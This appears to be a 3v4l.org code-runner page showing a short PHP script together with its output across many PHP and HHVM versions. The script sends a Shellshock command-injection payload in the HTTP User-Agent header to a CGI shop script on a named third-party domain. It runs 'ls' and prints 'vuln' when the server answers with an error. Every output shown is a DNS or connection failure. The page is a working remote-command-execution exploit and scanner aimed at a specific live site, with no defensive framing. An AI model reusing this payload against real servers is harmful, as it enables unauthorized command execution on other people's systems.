3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $url = "http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi"; $cmd = "ls"; $context = stream_context_create( array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' ) ) ); if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0) echo "vuln";
based on 7ULjl
Output for 5.2.6 - 5.4.38, 5.5.24 - 5.5.32, 5.5.34 - 5.6.17, 5.6.20 - 5.6.28, 7.0.0 - 7.0.3, 7.0.5 - 7.1.0
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/acONZ on line 13 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/acONZ on line 13 Notice: Undefined variable: http_response_header in /in/acONZ on line 13
Output for 5.4.39 - 5.4.45, 5.5.33, 5.6.18 - 5.6.19, 7.0.4
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: System error in /in/acONZ on line 13 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: php_network_getaddresses: getaddrinfo failed: System error in /in/acONZ on line 13 Notice: Undefined variable: http_response_header in /in/acONZ on line 13
Output for hhvm-3.10.0 - 3.12.0
Warning: Failed to open http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi (Could not resolve host: www.tu-shop.de) in /in/acONZ on line 13
Output for 5.0.4 - 5.2.5
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/acONZ on line 13 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: Connection refused in /in/acONZ on line 13 Notice: Undefined variable: http_response_header in /in/acONZ on line 13
Output for 5.0.3
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /in/acONZ on line 13 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: Connection refused in /in/acONZ on line 13 Notice: Undefined variable: http_response_header in /in/acONZ on line 13
Output for 5.0.1 - 5.0.2
Warning: file_get_contents(): php_network_getaddresses: gethostbyname failed in /in/acONZ on line 13 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: Success in /in/acONZ on line 13 Notice: Undefined variable: http_response_header in /in/acONZ on line 13
Output for 5.0.0
Warning: file_get_contents(): php_network_getaddresses: gethostbyname failed in /in/acONZ on line 13 Warning: file_get_contents(http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi): failed to open stream: Bad file descriptor in /in/acONZ on line 13 Notice: Undefined variable: http_response_header in /in/acONZ on line 13
Output for 4.3.0 - 4.4.9
Warning: file_get_contents() expects at most 2 parameters, 3 given in /in/acONZ on line 13 Notice: Undefined variable: http_response_header in /in/acONZ on line 13